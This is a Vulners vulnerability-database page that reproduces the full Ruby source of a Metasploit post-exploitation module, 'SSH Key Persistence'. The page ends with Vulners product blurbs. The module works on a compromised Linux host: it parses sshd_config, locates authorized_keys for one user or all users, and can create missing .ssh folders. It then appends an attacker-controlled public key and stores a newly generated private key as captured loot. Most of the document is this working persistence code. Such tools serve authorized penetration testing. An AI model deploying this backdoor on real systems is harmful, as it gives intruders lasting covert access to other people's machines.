Lucene search
K

SSH Key Persistence

🗓️ 20 Jun 2016 02:40:03Reported by h00die <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 52 Views

This module adds an SSH key to specified user for remote SSH logi

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sshkey'

class MetasploitModule < Msf::Post
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SSH Key Persistence',
        'Description' => %q{
          This module will add an SSH key to a specified user (or all), to allow
          remote login via SSH at any time.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <[email protected]>'
        ],
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_separator
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
        OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
        OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
        OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
      ], self.class
    )
  end

  def run
    if session.type == 'meterpreter'
      sep = session.fs.file.separator
    else
      # Guess, but it's probably right
      sep = '/'
    end
    print_status('Checking SSH Permissions')
    sshd_config = read_file(datastore['SSHD_CONFIG'])
    /^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
    if pub_key && pub_key == 'no'
      print_error('Pubkey Authentication disabled')
    elsif pub_key
      vprint_good("Pubkey set to #{pub_key}")
    end
    %r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
    if auth_key_file
      auth_key_file = auth_key_file.gsub('%h', '')
      auth_key_file = auth_key_file.gsub('%%', '%')
      if auth_key_file.start_with? '/'
        auth_key_file = auth_key_file[1..]
      end
    else
      auth_key_file = '.ssh/authorized_keys'
    end
    print_status("Authorized Keys File: #{auth_key_file}")

    auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
    auth_key_file = auth_key_file.split('/')[-1]
    if datastore['USERNAME'].nil?
      print_status("Finding #{auth_key_folder} directories")
      paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
    else
      if datastore['USERNAME'] == 'root'
        paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
      else
        paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
      end
      vprint_status("Added User SSH Path: #{paths.first}")
    end

    if datastore['CREATESSHFOLDER'] == true
      vprint_status("Attempting to create ssh folders that don't exist")
      paths.each do |p|
        unless directory?(p)
          print_status("Creating #{p} folder")
          cmd_exec("mkdir -m 700 -p #{p}")
        end
      end
    end

    paths = paths.select { |d| directory?(d) }
    if paths.nil? || paths.empty?
      print_error("No users found with a #{auth_key_folder} directory")
      return
    end
    write_key(paths, auth_key_file, sep)
  end

  def write_key(paths, auth_key_file, sep)
    if datastore['PUBKEY'].nil?
      key = SSHKey.generate
      our_pub_key = key.ssh_public_key
      loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
      print_good("Storing new private key as #{loot_path}")
    else
      our_pub_key = ::File.read(datastore['PUBKEY'])
    end
    paths.each do |path|
      path.chomp!
      authorized_keys = "#{path}/#{auth_key_file}"
      print_status("Adding key to #{authorized_keys}")
      append_file(authorized_keys, "\n#{our_pub_key}")
      print_good('Key Added')
      next unless datastore['PUBKEY'].nil?

      path_array = path.split(sep)
      path_array.pop
      user = path_array.pop
      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        private_type: :ssh_key,
        private_data: key.private_key.to_s,
        username: user,
        workspace_id: myworkspace_id
      }

      create_credential(credential_data)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation